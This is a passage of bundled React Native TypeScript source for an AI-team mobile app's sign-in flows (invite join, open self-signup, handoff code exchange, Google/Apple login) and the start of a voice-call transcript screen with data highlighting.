fontFam },\n back: { marginTop: 10, paddingVertical: 10 },\n backText: { fontSize: 15, fontWeight: '600', color: ada.orangeDeep, fontFamily: fontFam },\n});\n","/**\n * Handoff exchange — the pure, testable half of HandoffScreen (R9B).\n *\n * Kept JSX-free in its own module (like R6's runLogoutTeardown) so the\n * security-sensitive error mapper and the sign-in-before-clear ORDERING can be\n * node-tested directly, without rendering the RN component.\n */\nimport type { HandoffExchangeResult } from '@ateam-ai-mobile/core';\n\nexport interface HandoffExchangeDeps {\n /** Trade the one-time code for a session JWT (host injects core.exchangeHandoff). */\n exchange: (code: string) => Promise<HandoffExchangeResult>;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Clear the consumed single-use code. */\n onDone: () => void;\n}\n\n/**\n * Run the handoff: exchange → sign in → clear the code, in that exact order. The\n * handed-off tenant is the JWT's own `tenant` claim (getTenant() reads it), so a\n * cross-tenant handoff is scoped correctly with nothing for the host to store.\n * Throws on any failure (the caller maps it to a user-facing message);\n * onSignedIn / onDone never run on the error path.\n */\nexport async function runHandoffExchange(code: string, deps: HandoffExchangeDeps): Promise<void> {\n const res = await deps.exchange(code);\n await deps.onSignedIn(res.jwt);\n deps.onDone();\n}\n\n/**\n * Map the server's rejection to plainer copy. SECURITY: the exchange endpoint\n * deliberately does NOT tell an anonymous caller whether a code was unknown (404)\n * vs used/expired (410) — distinguishing them would confirm a real code to a\n * replay attacker. So both collapse to ONE message; never promise \"expired\" vs\n * \"already used\". 429 is the one safe-to-distinguish case (a rate-limit hint\n * leaks nothing about code validity).\n */\nexport function handoffErrorMessage(msg?: string): string {\n const m = (msg || '').toLowerCase();\n if (m.includes('429') || m.includes('rate') || m.includes('too many')) {\n return 'Too many attempts — wait a moment, then get a new sign-in link on the web.';\n }\n return 'This sign-in link is no longer valid. Get a new one on the web and try again.';\n}\n","/**\n * OpenJoinScreen (R9B — relocated from the app) — open self-signup (no invite).\n *\n * The user types a team handle (tenant slug); we run native Google/Apple and\n * POST { tenant, id_token } with NO invite. The server accepts only if that\n * tenant is free-to-join, else 403 — surfaced as a message. (Invite-only tenants\n * must use an invite link.)\n *\n * Native id_token acquisition + the Apple HIG button come from the host-wired\n * OAuthProvider (setOAuthProvider). With no cfg passed to signInWithGoogle, the\n * provider uses the host's BUNDLED Google client id (this screen carries no\n * tenant config). Everything host-specific — session, the back transition, the\n * SafeAreaView — is injected. The joined tenant is the JWT's own claim.\n */\nimport { useEffect, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, ActivityIndicator, Platform, TextInput } from 'react-native';\nimport { openJoinWithGoogle, openJoinWithApple, ada, spacing, type ConsumerSignInResult } from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { getOAuthProvider, type OAuthProvider } from '../providers';\nimport { completeOpenJoin, openJoinErrorMessage } from './openJoin';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface OpenJoinScreenProps {\n /** Adopt the session JWT (host: authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Back to sign in — the host toggles the pre-auth phase (not a router). */\n onBack: () => void;\n}\n\nexport default function OpenJoinScreen({ onSignedIn, onBack }: OpenJoinScreenProps) {\n const [team, setTeam] = useState('');\n const [busy, setBusy] = useState(false);\n const [err, setErr] = useState<string | null>(null);\n const [appleAvailable, setAppleAvailable] = useState(false);\n\n useEffect(() => {\n getOAuthProvider()?.isAppleAvailable().then(setAppleAvailable).catch(() => setAppleAvailable(false));\n }, []);\n\n // Normalize what the user typed into a slug-ish handle.\n const slug = team.trim().toLowerCase();\n const canSubmit = slug.length > 0 && !busy;\n\n async function run(\n acquire: (oauth: OAuthProvider) => Promise<string | null>,\n join: (slug: string, idToken: string) => Promise<ConsumerSignInResult>,\n ) {\n if (!slug) return;\n const oauth = getOAuthProvider();\n if (!oauth) { setErr('Sign-in is unavailable on this device.'); return; }\n setErr(null); setBusy(true);\n try {\n const idToken = await acquire(oauth);\n await completeOpenJoin(slug, idToken, { join, onSignedIn });\n } catch (e: any) {\n setErr(openJoinErrorMessage(e?.message));\n } finally {\n setBusy(false);\n }\n }\n\n const handleGoogle = () => run(oauth => oauth.signInWithGoogle(), openJoinWithGoogle);\n const handleApple = () => run(oauth => oauth.signInWithApple(), openJoinWithApple);\n\n return (\n <View style={styles.container}>\n <View style={styles.hero}>\n <AdaOrb size={110} />\n <Text style={styles.wordmark}>Join a team</Text>\n <Text style={styles.tagline}>Enter the team's handle. If it's open to join, you're in.</Text>\n </View>\n\n <View style={styles.form}>\n <TextInput\n style={styles.input}\n value={team}\n onChangeText={setTeam}\n placeholder=\"team handle (e.g. acme)\"\n placeholderTextColor={ada.inkMuted}\n autoCapitalize=\"none\"\n autoCorrect={false}\n returnKeyType=\"done\"\n />\n <Pressable\n style={[styles.googleBtn, !canSubmit && styles.btnDisabled]}\n onPress={handleGoogle}\n disabled={!canSubmit}\n >\n <Text style={styles.googleGlyph}>G</Text>\n <Text style={styles.googleText}>Continue with Google</Text>\n </Pressable>\n {appleAvailable && (\n <View style={{ opacity: canSubmit ? 1 : 0.5 }} pointerEvents={canSubmit ? 'auto' : 'none'}>\n {getOAuthProvider()?.renderAppleButton({ onPress: handleApple, disabled: !canSubmit, style: styles.appleBtn })}\n </View>\n )}\n {busy && <ActivityIndicator color={ada.ink} style={{ marginTop: 10 }} />}\n {!!err && <Text style={styles.err}>{err}</Text>}\n <Pressable onPress={onBack} hitSlop={8} style={styles.back}>\n <Text style={styles.backText}>Back to sign in</Text>\n </Pressable>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: { flex: 1, backgroundColor: ada.paper, justifyContent: 'space-between' },\n hero: { alignItems: 'center', marginTop: spacing.xxl },\n wordmark: { fontSize: 26, fontWeight: '800', color: ada.ink, marginTop: 14, fontFamily: fontFam },\n tagline: { fontSize: 15, color: ada.inkSoft, marginTop: 8, textAlign: 'center', paddingHorizontal: 28, fontFamily: fontFam },\n form: { paddingHorizontal: 24, paddingBottom: 40, gap: 12 },\n input: {\n backgroundColor: ada.paperSoft, borderWidth: 1, borderColor: ada.border, borderRadius: 14,\n paddingHorizontal: 16, paddingVertical: 14, fontSize: 16, color: ada.ink,\n },\n googleBtn: {\n flexDirection: 'row', alignItems: 'center', justifyContent: 'center', gap: 10,\n backgroundColor: ada.ink, paddingVertical: 15, borderRadius: 999,\n },\n btnDisabled: { opacity: 0.5 },\n googleGlyph: { color: '#fff', fontSize: 18, fontWeight: '800' },\n googleText: { color: '#fff', fontSize: 16, fontWeight: '600', fontFamily: fontFam },\n appleBtn: { height: 52, width: '100%' },\n err: { color: '#C15545', fontSize: 13, textAlign: 'center', paddingHorizontal: 16, marginTop: 4 },\n back: { alignItems: 'center', paddingVertical: 10 },\n backText: { color: ada.inkMuted, fontSize: 15, fontWeight: '500' },\n});\n","/**\n * Open self-signup — the pure, testable half of OpenJoinScreen (R9B).\n *\n * JSX-free so the join ORDERING (join → sign in) and the error\n * mapper are node-testable without rendering. The native id_token acquisition\n * happens in the component via getOAuthProvider(); the acquired token is passed\n * in here, so this module stays pure and provider-free.\n */\nimport type { ConsumerSignInResult } from '@ateam-ai-mobile/core';\n\nexport interface OpenJoinDeps {\n /** Exchange { tenant, id_token } for a session JWT (host injects core.openJoinWith*). */\n join: (slug: string, idToken: string) => Promise<ConsumerSignInResult>;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n}\n\n/**\n * Complete an open self-signup with an already-acquired id_token.\n *\n * Returns false WITHOUT side effects when idToken is null — the caller acquired\n * no token (the user cancelled the native sheet, or it returned none), which is\n * a silent no-op, never an error. Otherwise: join → sign in. The joined tenant\n * is the returned JWT's own `tenant` claim (getTenant() reads it), so there is\n * nothing for the host to store. Throws on a join failure (the caller maps it to\n * a message); sign-in never runs then.\n */\nexport async function completeOpenJoin(\n slug: string,\n idToken: string | null,\n deps: OpenJoinDeps,\n): Promise<boolean> {\n if (!idToken) return false;\n const consumer = await deps.join(slug, idToken);\n await deps.onSignedIn(consumer.jwt);\n return true;\n}\n\n/**\n * Map the server's open-join rejection to plainer copy. Unlike the handoff\n * exchange, these ARE safe to distinguish — the caller already knows the tenant\n * slug they typed, so \"invite-only\" / \"no such team\" leak nothing.\n */\nexport function openJoinErrorMessage(msg?: string): string {\n const m = (msg || '').toLowerCase();\n if (m.includes('invite-only') || m.includes('invite only')) {\n return 'This team is invite-only — ask an admin for an invite link.';\n }\n if (m.includes('not found') || m.includes('unknown tenant')) {\n return 'No team with that handle.';\n }\n return msg || 'Could not join';\n}\n","/**\n * JoinScreen (R9B — relocated from the app) — tenant-join via invite deep link.\n *\n * Flow: preview the invite (GET) → \"Join <Org> as <role>?\" → native Google/Apple\n * → POST { invite, id_token } → tenant-scoped JWT → sign in. The invite code is\n * the ONLY tenant proof; no slug is ever sent.\n *\n * Native id_token + the Apple HIG button come from the host-wired OAuthProvider\n * (getOAuthProvider) with NO cfg, so the provider uses the host's bundled Google\n * id (the invite flow carries no tenant config). The host injects the code (from\n * the deep link), onSignedIn, onDone (clear the consumed invite), onCancel, and\n * wraps the screen in its own SafeAreaView.\n */\nimport { useEffect, useMemo, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, ActivityIndicator, Platform } from 'react-native';\nimport {\n previewInvite,\n joinWithGoogle,\n joinWithApple,\n ada,\n spacing,\n type InvitePreview,\n type ConsumerSignInResult,\n} from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { getOAuthProvider, type OAuthProvider } from '../providers';\nimport { completeInviteJoin, inviteHeadline } from './inviteJoin';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface JoinScreenProps {\n /** The invite code the host captured from the deep link. */\n code: string | null;\n /** Adopt the session JWT (host: authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Clear the consumed single-use invite so a relaunch never retries it. */\n onDone: () => void;\n /** Dismiss on a bad invite — the host toggles the pre-auth phase (not a router). */\n onCancel: () => void;\n}\n\nexport default function JoinScreen({ code, onSignedIn, onDone, onCancel }: JoinScreenProps) {\n const [preview, setPreview] = useState<InvitePreview | null>(null);\n const [loadErr, setLoadErr] = useState<string | null>(null);\n const [busy, setBusy] = useState(false);\n const [err, setErr] = useState<string | null>(null);\n const [appleAvailable, setAppleAvailable] = useState(false);\n\n // Preview the invite for the header copy.\n useEffect(() => {\n if (!code) return;\n setPreview(null);\n setLoadErr(null);\n previewInvite(code).then(setPreview).catch(e => setLoadErr(e?.message || 'Could not load invite'));\n }, [code]);\n\n useEffect(() => {\n getOAuthProvider()?.isAppleAvailable().then(setAppleAvailable).catch(() => setAppleAvailable(false));\n }, []);\n\n const orgLine = useMemo(() => inviteHeadline(preview), [preview]);\n\n async function run(\n acquire: (oauth: OAuthProvider) => Promise<string | null>,\n join: (code: string, idToken: string) => Promise<ConsumerSignInResult>,\n ) {\n if (!code) return;\n const oauth = getOAuthProvider();\n if (!oauth) { setErr('Sign-in is unavailable on this device.'); return; }\n setErr(null); setBusy(true);\n try {\n const idToken = await acquire(oauth);\n await completeInviteJoin(code, idToken, { join, onDone, onSignedIn });\n } catch (e: any) {\n setErr(e?.message || 'Sign-in failed');\n } finally {\n setBusy(false);\n }\n }\n\n const handleGoogle = () => run(oauth => oauth.signInWithGoogle(), joinWithGoogle);\n const handleApple = () => run(oauth => oauth.signInWithApple(), joinWithApple);\n\n return (\n <View style={styles.container}>\n <View style={styles.hero}>\n <AdaOrb size={120} />\n <Text style={styles.wordmark}>ada</Text>\n {loadErr ? (\n <Text style={styles.err}>{loadErr}</Text>\n ) : preview ? (\n <Text style={styles.tagline}>{orgLine}</Text>\n ) : (\n <ActivityIndicator color={ada.ink} style={{ marginTop: 12 }} />\n )}\n </View>\n\n <View style={styles.buttons}>\n {/* Only offer sign-in once the invite previewed OK. */}\n {preview && !loadErr && (\n <>\n <Pressable\n style={[styles.googleBtn, busy && styles.btnDisabled]}\n onPress={handleGoogle}\n disabled={busy}\n >\n <Text style={styles.googleGlyph}>G</Text>\n <Text style={styles.googleText}>Continue with Google</Text>\n </Pressable>\n {appleAvailable &&\n getOAuthProvider()?.renderAppleButton({ onPress: handleApple, disabled: busy, style: styles.appleBtn })}\n </>\n )}\n {loadErr && (\n <Pressable style={styles.dismiss} onPress={onCancel} hitSlop={8}>\n <Text style={styles.dismissText}>Back to sign in</Text>\n </Pressable>\n )}\n {!!err && <Text style={styles.err}>{err}</Text>}\n {busy && <ActivityIndicator color={ada.ink} style={{ marginTop: 12 }} />}\n <Text style={styles.disclaimer}>By continuing you agree to Ada's Terms and Privacy Policy.</Text>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: { flex: 1, backgroundColor: ada.paper, justifyContent: 'space-between' },\n hero: { alignItems: 'center', marginTop: spacing.xxl * 1.4 },\n wordmark: { fontSize: 34, fontWeight: '800', color: ada.ink, letterSpacing: 4, marginTop: 12, fontFamily: fontFam },\n tagline: { fontSize: 17, color: ada.inkSoft, marginTop: 10, textAlign: 'center', paddingHorizontal: 24, fontFamily: fontFam },\n buttons: { paddingHorizontal: 24, paddingBottom: 40, gap: 12 },\n googleBtn: {\n flexDirection: 'row', alignItems: 'center', justifyContent: 'center', gap: 10,\n backgroundColor: ada.ink, paddingVertical: 15, borderRadius: 999,\n },\n btnDisabled: { opacity: 0.5 },\n googleGlyph: { color: '#fff', fontSize: 18, fontWeight: '800' },\n googleText: { color: '#fff', fontSize: 16, fontWeight: '600', fontFamily: fontFam },\n appleBtn: { height: 52, width: '100%' },\n dismiss: { alignItems: 'center', paddingVertical: 10 },\n dismissText: { color: ada.inkMuted, fontSize: 15, fontWeight: '500' },\n err: { color: '#C15545', fontSize: 13, textAlign: 'center', paddingHorizontal: 16, marginTop: 8 },\n disclaimer: { fontSize: 12, color: ada.inkMuted, textAlign: 'center', marginTop: 8 },\n});\n","/**\n * Invite join — the pure, testable half of JoinScreen (R9B).\n *\n * JSX-free so the join ORDERING and the header derivation are node-testable\n * without rendering. The native id_token acquisition happens in the component via\n * getOAuthProvider(); the acquired token is passed in here.\n */\nimport type { ConsumerSignInResult, InvitePreview } from '@ateam-ai-mobile/core';\n\nexport interface InviteJoinDeps {\n /** Exchange { invite, id_token } for a tenant-scoped JWT (host injects core.joinWith*). */\n join: (code: string, idToken: string) => Promise<ConsumerSignInResult>;\n /** Clear the consumed single-use invite (host store). */\n onDone: () => void;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n}\n\n/**\n * Complete an invite join with an already-acquired id_token.\n *\n * Returns false WITHOUT side effects when idToken is null (user cancelled the\n * native sheet). Otherwise: join → clear the consumed invite → sign in, in that\n * order (matching the app: the invite is cleared before sign-in so a relaunch\n * never retries a burned code). Throws on a join failure; the invite is NOT\n * cleared and sign-in never runs then, so the user can retry the same invite.\n */\nexport async function completeInviteJoin(\n code: string,\n idToken: string | null,\n deps: InviteJoinDeps,\n): Promise<boolean> {\n if (!idToken) return false;\n const consumer = await deps.join(code, idToken);\n deps.onDone();\n await deps.onSignedIn(consumer.jwt);\n return true;\n}\n\n/** The invite header copy. Role is optional — \"Join <Org>?\" when absent. */\nexport function inviteHeadline(preview: InvitePreview | null): string {\n if (!preview) return '';\n return preview.role ? `Join ${preview.org} as ${preview.role}?` : `Join ${preview.org}?`;\n}\n","/**\n * LoginScreen (R9B — relocated from the app) — consumer login via native Google\n * + native Apple sign-in.\n *\n * Both providers return an OIDC id_token; we POST it to consumer-auth, which\n * verifies it server-side and returns a tenant-scoped JWT for sign-in. The\n * webClientId is fetched at runtime from the tenant's consumer config, so no\n * client ids are baked into the SDK.\n *\n * Host-injected seams:\n * - activeTenant the reactive pre-auth team (re-fetches the config);\n * '' → the screen asks for the team\n * - onPickTenant the user named a team (\"Use a different team\", or no\n * team yet): the host stores it as its signed-out pick\n * - onConsumerDisabled the team has no consumer sign-in: the host clears its\n * pick; the screen asks for another team\n * - onSignedIn session adoption (host: authStore.login)\n * - onJoinTeam? open the host's \"join a team by name\" (OpenJoin) sub-view\n *\n * Native id_token acquisition + the Apple HIG button come from the host-wired\n * OAuthProvider (getOAuthProvider); this screen passes the TENANT's client ids\n * to signInWithGoogle. The host wraps this in its own SafeAreaView.\n */\nimport { useEffect, useMemo, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, Platform, ActivityIndicator, TextInput } from 'react-native';\nimport { fetchConsumerConfig, signInWithGoogle, signInWithApple, ada, type ConsumerCapabilityConfig } from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { getOAuthProvider } from '../providers';\nimport { googleClientIds, isConsumerDisabled, completeProviderSignIn } from './login';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface LoginScreenProps {\n /** The reactive pre-auth team (host: useSession().tenant). Re-fetches config on change.\n * '' → the screen asks for the team. */\n activeTenant: string;\n /** The user named a team to sign in to: the host stores it as its signed-out pick. */\n onPickTenant: (tenant: string) => void | Promise<void>;\n /** The team has no consumer sign-in: the host clears its pick (the screen asks for another). */\n onConsumerDisabled: () => void | Promise<void>;\n /** Adopt the session JWT (host: authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Open the host's \"join a team by name\" (OpenJoin) sub-view. Link hidden when omitted. */\n onJoinTeam?: () => void;\n}\n\nexport default function LoginScreen({ activeTenant, onPickTenant, onConsumerDisabled, onSignedIn, onJoinTeam }: LoginScreenProps) {\n const [config, setConfig] = useState<ConsumerCapabilityConfig | null>(null);\n const [error, setError] = useState<string | null>(null);\n // The team whose config said \"no consumer sign-in\", kept across the host\n // clearing its pick so the ask-for-team view can say why it is back.\n const [disabledTeam, setDisabledTeam] = useState<string | null>(null);\n // \"Use a different team\" — or the current team can't sign in.\n const [askTeam, setAskTeam] = useState(false);\n const askingTeam = !activeTenant || askTeam;\n const pick = async (tenant: string) => { setAskTeam(false); setDisabledTeam(null); await onPickTenant(tenant); };\n\n useEffect(() => {\n setConfig(null);\n setError(null);\n if (!activeTenant) return;\n fetchConsumerConfig()\n .then(setConfig)\n .catch(async err => {\n const msg = err?.message || 'Failed to load sign-in config';\n // A consumer-disabled tenant 404s with \"capability not enabled\". Don't\n // dead-end on red text — ask for another team (and the host clears its\n // pick). Asking here, not re-fetching, so a disabled fallback can't loop.\n if (isConsumerDisabled(msg)) {\n setDisabledTeam(activeTenant);\n setAskTeam(true);\n await onConsumerDisabled();\n return;\n }\n setError(msg);\n });\n }, [activeTenant, onConsumerDisabled]);\n\n return (\n <View style={styles.container}>\n <View style={styles.hero}>\n <AdaOrb size={140} />\n <Text style={styles.wordmark}>ada</Text>\n <Text style={styles.tagline}>Your private personal AI-Team</Text>\n </View>\n\n <View style={styles.buttonSection}>\n {askingTeam && <TeamField notice={disabledTeam} onPick={pick} />}\n {!askingTeam && !config && !error && <ActivityIndicator color={ada.ink} />}\n {!askingTeam && !!error && <Text style={styles.errorText}>{error}</Text>}\n {!askingTeam && !!config && <SignInButtons config={config} onSignedIn={onSignedIn} />}\n {!askingTeam && (\n <Pressable onPress={() => setAskTeam(true)} hitSlop={8} style={{ paddingVertical: 4 }}>\n <Text style={styles.joinLink}>Use a different team</Text>\n </Pressable>\n )}\n {onJoinTeam && (\n <Pressable onPress={onJoinTeam} hitSlop={8} style={{ paddingVertical: 8 }}>\n <Text style={styles.joinLink}>Join a team by name</Text>\n </Pressable>\n )}\n <Text style={styles.disclaimer}>By continuing you agree to Ada's Terms and Privacy Policy.</Text>\n </View>\n </View>\n );\n}\n\n/** Ask which team to sign in to. Signing in needs the team's own consumer\n * config (its client ids). */\nfunction TeamField({ notice, onPick }: { notice: string | null; onPick: (tenant: string) => void | Promise<void> }) {\n const [team, setTeam] = useState('');\n const slug = team.trim().toLowerCase();\n const submit = () => { if (slug) void onPick(slug); };\n return (\n <>\n {!!notice && <Text style={styles.errorText}>“{notice}” doesn't have app sign-in. Try another team.</Text>}\n <TextInput\n style={styles.teamInput}\n value={team}\n onChangeText={setTeam}\n placeholder=\"your team (e.g. acme)\"\n placeholderTextColor={ada.inkMuted}\n autoCapitalize=\"none\"\n autoCorrect={false}\n returnKeyType=\"go\"\n onSubmitEditing={submit}\n />\n <Pressable style={[styles.signInBtn, !slug && styles.signInBtnDisabled]} onPress={submit} disabled={!slug}>\n <Text style={styles.signInText}>Continue</Text>\n </Pressable>\n </>\n );\n}\n\nfunction SignInButtons({ config, onSignedIn }: { config: ConsumerCapabilityConfig; onSignedIn: (jwt: string) => void | Promise<void> }) {\n const [busy, setBusy] = useState(false);\n const [error, setError] = useState<string | null>(null);\n const [appleAvailable, setAppleAvailable] = useState(false);\n\n const { webClientId, iosClientId } = useMemo(() => googleClientIds(config), [config]);\n\n // Apple Sign-In is iOS 13+ only. Hide the button if the device can't.\n useEffect(() => {\n getOAuthProvider()?.isAppleAvailable().then(setAppleAvailable).catch(() => setAppleAvailable(false));\n }, []);\n\n const handleGoogleLogin = async () => {\n setError(null);\n if (!webClientId) {\n setError('Google sign-in is not configured for this tenant');\n return;\n }\n const oauth = getOAuthProvider();\n if (!oauth) { setError('Sign-in is unavailable on this device.'); return; }\n setBusy(true);\n try {\n const idToken = await oauth.signInWithGoogle({ webClientId, iosClientId });\n await completeProviderSignIn(idToken, { exchange: signInWithGoogle, onSignedIn });\n } catch (err: any) {\n setError(err?.message || 'Sign-in failed');\n } finally {\n setBusy(false);\n }\n };\n\n const handleAppleLogin = async () => {\n setError(null);\n const oauth = getOAuthProvider();\n if (!oauth) { setError('Sign-in is unavailable on this device.'); return; }\n setBusy(true);\n try {\n const idToken = await oauth.signInWithApple();\n await completeProviderSignIn(idToken, { exchange: signInWithApple, onSignedIn });\n } catch (err: any) {\n setError(err?.message || 'Apple sign-in failed');\n } finally {\n setBusy(false);\n }\n };\n\n const googleEnabled = !!webClientId && !busy;\n const appleEnabled = appleAvailable && !!config.providers.apple?.service_id && !busy;\n\n return (\n <>\n {!!config.providers.google && (\n <Pressable\n style={[styles.signInBtn, !googleEnabled && styles.signInBtnDisabled]}\n onPress={handleGoogleLogin}\n disabled={!googleEnabled}\n >\n <Text style={styles.signInGlyph}>G</Text>\n <Text style={styles.signInText}>Continue with Google</Text>\n </Pressable>\n )}\n {appleEnabled &&\n getOAuthProvider()?.renderAppleButton({ onPress: handleAppleLogin, disabled: busy, style: styles.appleBtn })}\n {!!error && <Text style={styles.errorText}>{error}</Text>}\n {busy && <ActivityIndicator color={ada.ink} />}\n </>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flex: 1,\n backgroundColor: ada.paper,\n justifyContent: 'space-between',\n paddingHorizontal: 32,\n paddingBottom: 24,\n },\n hero: { flex: 1, alignItems: 'center', justifyContent: 'center', gap: 18 },\n wordmark: { fontSize: 32, fontWeight: '600', color: ada.ink, letterSpacing: 4, fontFamily: fontFam, marginTop: 8 },\n tagline: { fontSize: 16, fontWeight: '500', color: ada.inkSoft, letterSpacing: -0.1, fontFamily: fontFam },\n buttonSection: { alignItems: 'center', gap: 12 },\n signInBtn: {\n flexDirection: 'row', alignItems: 'center', justifyContent: 'center',\n backgroundColor: ada.ink, paddingVertical: 16, paddingHorizontal: 24,\n borderRadius: 999, width: '100%', gap: 12,\n },\n signInBtnDisabled: { opacity: 0.5 },\n signInGlyph: { fontSize: 18, fontWeight: '700', color: ada.paper, fontFamily: fontFam },\n signInText: { fontSize: 16, fontWeight: '600', color: ada.paper, letterSpacing: -0.2, fontFamily: fontFam },\n appleBtn: { width: '100%', height: 52 },\n teamInput: {\n width: '100%', backgroundColor: ada.paperSoft, borderWidth: 1, borderColor: ada.border, borderRadius: 14,\n paddingHorizontal: 16, paddingVertical: 14, fontSize: 16, color: ada.ink,\n },\n errorText: { fontSize: 13, color: '#c43d3d', textAlign: 'center', paddingHorizontal: 16 },\n disclaimer: { fontSize: 12, color: ada.inkMuted, textAlign: 'center', marginTop: 8, lineHeight: 18, fontFamily: fontFam },\n joinLink: { fontSize: 14, fontWeight: '600', color: ada.orangeDeep, textAlign: 'center', fontFamily: fontFam },\n});\n","/**\n * Login — the pure, testable half of LoginScreen (R9B).\n *\n * JSX-free so the tenant client-id derivation, the consumer-disabled self-heal\n * decision, and the sign-in ordering are node-testable without rendering.\n */\nimport type { ConsumerCapabilityConfig, ConsumerSignInResult } from '@ateam-ai-mobile/core';\n\n/**\n * The Google client ids to sign in with, from the tenant's consumer config.\n * webClientId sets the id_token AUDIENCE the server verifies; iosClientId makes\n * the native account picker show (missing → the SDK silently falls back to a web\n * flow on iOS). Accepts the legacy single `client_id` as the web id.\n */\nexport function googleClientIds(config: ConsumerCapabilityConfig): { webClientId: string; iosClientId: string } {\n const g = (config.providers as any).google || {};\n return {\n webClientId: g.web_client_id || g.client_id || '',\n iosClientId: g.ios_client_id || '',\n };\n}\n\n/**\n * Whether a failed config fetch means the picked tenant has no consumer sign-in\n * (\"capability not enabled\" 404). The host then clears its pick and shows its\n * team picker — it never falls back to a default tenant.\n */\nexport function isConsumerDisabled(errorMsg: string | undefined): boolean {\n return /capability not enabled/i.test(errorMsg || '');\n}\n\nexport interface ProviderSignInDeps {\n /** Trade the provider id_token for a session JWT (host injects core.signInWith*). */\n exchange: (idToken: string) => Promise<ConsumerSignInResult>;\n /** Adopt the session JWT. */\n onSignedIn: (jwt: string) => void | Promise<void>;\n}\n\n/**\n * Complete a provider sign-in with an already-acquired id_token: exchange → sign\n * in. Returns false WITHOUT side effects on a null token (user cancelled the\n * native sheet). Throws on an exchange failure; sign-in never runs then.\n */\nexport async function completeProviderSignIn(\n idToken: string | null,\n deps: ProviderSignInDeps,\n): Promise<boolean> {\n if (!idToken) return false;\n const consumer = await deps.exchange(idToken);\n await deps.onSignedIn(consumer.jwt);\n return true;\n}\n","/**\n * VoiceCallSheet — the full-screen voice call experience.\n *\n * AdaOrb hero + live transcript (with important-data highlighting) + mute\n * control. This is a VIEW onto the one `voiceSession` (via useVoiceCall) — the\n * WebRTC WebView now lives in VoiceSessionHost at the app root, so closing this\n * sheet no longer ends the call. Requires `voiceUrl` in the initAdas() config.\n */\nimport { useEffect, useRef, useMemo } from 'react';\nimport {\n View,\n Text,\n StyleSheet,\n Platform,\n Pressable,\n ScrollView,\n} from 'react-native';\nimport Svg, { Path, Line } from 'react-native-svg';\nimport { ada } from '@ateam-ai-mobile/core';\nimport { AdaOrb, SurfaceFullscreen, type AdaOrbState } from '@ateam-ai-mobile/plugin-runtime';\nimport useVoiceCall from './useVoiceCall';\n\ninterface Props {\n visible: boolean;\n onClose: () => void;\n /** Optional skill to hand the mic to on connect (voice /session → takeMic). */\n skillSlug?: string;\n}\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\n// Detect important data in voice transcripts so the user can verify it visually.\nconst HIGHLIGHT_PATTERNS = [\n /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}/g,\n /(?:\\+?\\d[\\s\\-().]?){7,}\\d/g,\n /\\$\\d[\\d,]*(?:\\.\\d{1,2})?/g,\n /\\b\\d{1,2}:\\d{2}\\s?(?:am|pm|AM|PM)?\\b/g,\n /\\bhttps?:\\/\\/\\S+/g,\n /\\b\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}\\b/g,\n];\n\nfunction highlightSegments(text: string): Array<{ text: string; important: boolean }> {\n const ranges: Array<[number, number]> = [];\n for (const p of HIGHLIGHT_PATTERNS) {\n p.lastIndex = 0;\n let m;\n while ((m = p.exec(text)) !== null) {\n ranges.push([m.index, m.index + m[0].length]);\n }\n }\n if (!ranges.length) return [{ text, important: false }];\n ranges.sort((a, b) => a[0] - b[0]);\n const merged: Array<[number, number]> = [];\n for (const r of ranges) {\n if (merged.length && r[0] <= merged[merged.length - 1][1]) {\n merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);\n } else {\n merged.push([r[0], r[1]]);\n }\n }\n const segments: Array<{ text: string; important: boolean }> = [];\n let cursor = 0;\n for (const [start, end] of merged) {\n if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });\n segments.push({ text: text.slice(start, end), important: true });\n cursor = end;\n }\n if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });\n return segments;\n}\n\nfunction HighlightedText({\n text,\n baseStyle,\n importantStyle,\n}: {\n text: string;\n baseStyle: any;\n importantStyle: any;\n}) {\n const segments = useMemo(() => highlightSegments(text), [text]);\n return (\n <Text style={baseStyle}>\n {segments.map((seg, i) => (\n <Text key={i} style={seg.important ? importantStyle : undefined}>\n {seg.text}\n </Text>\n ))}\n </Text>\n );\n}\n\nexport default function VoiceCallSheet({ visible, onClose, skillSlug }: Props) {\n const {\n callState, aiPartial, userPartial, transcript, error, muted,\n startCall, stopCall, toggleMute,\n } = useVoiceCall({ skillSlug });\n\n const scrollRef = useRef<ScrollView>(null);\n\n useEffect(() => {\n if (visible && callState === 'idle') startCall();\n }, [visible]); // eslint-disable-line react-hooks/exhaustive-deps\n\n useEffect(() => {\n scrollRef.current?.scrollToEnd?.({ animated: true });\n }, [transcript.length, aiPartial, userPartial]);\n\n const handleHangUp = () => {\n stopCall();\n onClose();\n };\n\n const orbState: AdaOrbState = useMemo(() => {\n if (callState === 'connecting') return 'thinking';\n if (callState === 'error') return 'idle';\n if (aiPartial) return 'speaking';\n if (userPartial) return 'listening';\n return 'idle';\n }, [callState, aiPartial, 